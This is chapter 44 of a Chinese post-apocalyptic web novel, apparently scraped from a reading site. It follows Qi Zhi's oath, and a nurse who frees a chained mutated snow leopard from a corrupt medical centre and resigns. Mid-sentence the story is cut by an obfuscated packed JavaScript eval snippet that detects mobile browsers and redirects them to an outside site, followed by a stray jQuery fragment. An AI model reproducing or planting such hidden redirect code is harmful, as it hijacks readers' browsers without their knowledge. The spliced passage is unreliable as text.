44. 誓言
作品:《我没说我要拯救世界啊》 黎洛对这个答案毫不意外,只默默点点头。
十年前,他选择加入清剿队,追随当时还是小队长的祁芷时,也曾经听队员好奇问过她这个问题。
彼时,和祁芷有关的传闻大都是她与曾经协会会长的血缘关系,甚至有人质疑她能在短短两年内就晋升为清剿总队负责人,靠的是她的那位执掌大权的会长亲姐姐。
生存保障协会关系到末日所有公民的人身安全,这样的流言一开始传的沸沸扬扬,却在祁芷一次次精湛的作战指挥与力挽狂澜后,被事实击得粉碎。
他看着祁芷从一个一点就炸的小队长,走到如今面稳心狠的部长,其中经历多少心酸磨难,恶意中伤,还有失去至亲后的脆弱绝望,她都从来没有改变过自己初上任时宣讲的誓言。
“……以保护末日公民为己任,肃清妨碍人类生存的所有威胁。”十八岁的祁芷站在台上,左手攥成拳,举在太阳穴边,年轻的脸庞褪去稚气,初显后来的坚毅,“我以此身起誓,无论发生任何事,我都会忠于人类立场,永不放弃,永不背叛。”
她的身影烙印在二十岁的黎洛眼中,灼灼燃烧了十年光阴。
“别想那么多,赶紧休息。”
祁芷嘶哑着嗓子,冷着脸脱下外套,随手扔在他腿上。
外套沾了别人的血,干涸后摸起来有些硌手,但黎洛很珍惜地把外套披在身上,在看不见彼此的黑暗里闭上了眼睛。
…
中心城。
凌明缩在水膜里,孩童稚嫩的眼睛中充满怒火,死死盯着水膜外那只被铁链拴住脖子的雪豹异兽。
“凌前辈,请您配合下吧,我们也很为难。”
医疗中心的两名护士对视一眼,心照不宣地垂下头,假装没看见房间内那头奄奄一息的雪豹,“董院知道异兽能帮您恢复精神力,特意让我们……”
半透明的水膜凝成实色,隔绝了她们的视线,与此同时,凌明的泪水夺眶而出。
“如果你们还有点良心,就应该把她送到许队长那里。”她藏在茧中,声音颤抖,“而不是罔顾人命,把她当作试验品送到我这里来!”
护士A咬着嘴唇,面色有些被说中的难堪。
护士B倒是一派公事公办的态度,“这位低等公民是自愿的,她在异化前在医疗中心签了捐赠协定。”
公民不慎异化后,生命就相当于进入了倒计时,有些公民为了不拖累自己的家人,会和医疗中心签订协定,将遗体捐赠给实验部做耗材,换取抑制剂或其他药物,留给自己的家人伙伴。
但是在祁芷上任后,这种交易被严厉打击过一阵,许如愿担任清剿队挂名队长后,抑制剂更不再是极度稀缺的生存物资,因此护士B口中的自愿捐赠,恐怕真的要打上个问号。
眼前的雪豹异兽不知是被打了什么药剂,趴在地上一动不动,一身银白色皮毛下,是瘦得突出的脊骨,和勒至皮肉的铁项圈。
凌明尝试打开自己的系统,却依然收到了弹窗的温馨提示:您的精神力已耗尽,无法启用系统功能。
她被软禁在医疗中心,无法向外界传递消息,也根本不知道现在到底发生了什么。
忽然,门外响起了一阵客气的敲门声。
护士A下意识看了看同伴,护士B摇摇头,表示应该不会是董院。
董院不会亲自来探访病患,特别是精神力不稳定的患者,他怕自己受影响被异化,所以这些受苦受累的差事都交给下属去办。
“要开吗?”护士A嘴上很谨慎地问了一句,却已打定主意走过去开门,逃避现在这个尴尬的境地。
“下午好。”
门外的人礼貌地冲她笑了笑,可眼睛里并没有多少笑意。
护士A抬头,对上那张俊美的面庞,瞬间有些脸红,手足无措地顿在原地。
这个人,是不是许队长手下的队员来着?
……不对,这人前几天才和许队长把那个董院特意吩咐看管好的小公民劫走,怎么今天又出现在了这里,他想干什么?
上次被董院骂得狗血淋头的场景还历历在目,护士A一下子紧张了起来,手背在身后向护士B打手势。
“许队长有事找凌明老师,你们的顶头上司让我们直接来这里。”两个护士把门挡得严严实实的,无漪只能越过她们头顶,认出了里面悬浮在半空的乳白色水膜。
他暗暗松了口气,看来情况还没有许如愿预料的那么糟。
“……董院说的?”护士B迷惑地扫了眼毫无动静的通讯器。
她们没有收到任何放人的消息,但是除了她们以外,藏匿凌明的位置又确确实实只有董院一个人知晓。
“我、我们得先确认一下。”护士A低下头,手忙脚乱地打开通讯器,错过了面前这个漂亮男人眼中划过的一丝戾色。
“好的,当然可以。”无漪很配合地退后几步,等待着通讯器另一头的回复。
片刻后,护士A收到了来自董院的消息,惊疑不定地看了无漪一眼,拉着护士B为他让开了路。
无漪刚迈进门内,忽然脚步一顿,身侧的手骤然攥紧,声音有一瞬间的变形,“这是什么?”
雪豹异兽的锁链轻微地响了一下,似是嗅到了来自同类的危险气息,软趴趴地抬了下头,可是此时的她已经没有力气再去防备警戒了。
这些人的交谈声并不小,可是落在她毛茸茸的耳尖里,却变成了一片雪花般轻薄的重量。异化后,她忘记了很多事,反应迟钝的大脑中除了活下去,再也装不下第二个念头。
人声停下,随即她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299153|197821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被牵起的锁链带动,被迫扬起头来。
下一秒,脖子上嵌进皮肉里的项圈被解开,她的呼吸顿时顺畅起来,大口大口开始喘气。
凌明怀里抱着呼吸粗重的雪豹,紧张地看着无漪,“外面发生什么事了?小芷人呢?”
小女孩的手软绵绵的,轻轻抚摸着她的头顶。这种感觉非常陌生,因为在她异化后,从来没有人这样温柔地对待过她,迎接她的只有粗重的铁链,还有定时注入身体中的冰冷药剂。
呼噜呼噜……
雪豹不熟练地从喉咙里发出陌生的声音,听上去像是一架破烂不堪的手风琴。
与此同时,护士B有些难以置信地瞪着护士A,压低声音斥责,“你就这样自作主张把异兽放跑了?到时候董院要是责怪起来……”
“我会辞职。”护士A脸色苍白,声音微微颤抖,“我已经不想在这干了。”
护士B一怔,脸上的表情变成了匪夷所思,“就为了那个异兽?你能不能搞清楚,它们已经不能算是人了!”
护士A摇头,默默脱下那身象征着救死扶伤的白大褂,忽然想起了最初入职医疗中心时,她们肩并肩许下的誓言。
“……竭尽全力除人类之病痛,助健康之完美,维护医术的圣洁和荣誉。”
这些年来,董院一次又一次地以权欺下,用异化后的人不能算是人的理由,洗脑下属为自己所驱使,做了无数次这样罔顾生命的事。
她不能说是全然不知,但也并非完全无辜。
想到变成污染物前,那些病人眼中乞求的神色,和难忍的痛楚表情,护士A喉咙像被刺哽住,无法再发出任何一个辩驳的字词。
“你真要走?”护士B呆愣了半天,猛地拽住她,“你疯了吗,这可是能留在中心城里的差事,离开中心城你能上哪去?魔滩?”
去了魔滩,相当于暴露在遍地污染物的环境之中,随时有丢掉小命的风险。护士B见她半晌不吭声,心也凉了半截,“你没在开玩笑?”
护士A再次摇摇头,忽然上前一步,抱了抱她朝夕相处的同事兼朋友,“今天的事,都是我自作主张,董院那边有我去说,你不用担心。”
她能理解护士B装聋作哑的态度,因为她们只是普通人,普通人都怕死,怕风险,怕强权,因此追求安全与稳定几乎是刻在她们骨子里的本能。
这样的时代也许不需要像我这样普通的人。
护士A默默叹了口气,眼神却愈发坚定。
但那又怎样,即便再怕,普通人心中,依然有比恐惧更强烈的精神追求。上至高等公民,下至异化感染者,每个人的心里,都曾燃起过一把希望之火。
因为我们同样生而为人,因为我们本就毫无区别。我们站在一起,就是一个完整的世界。

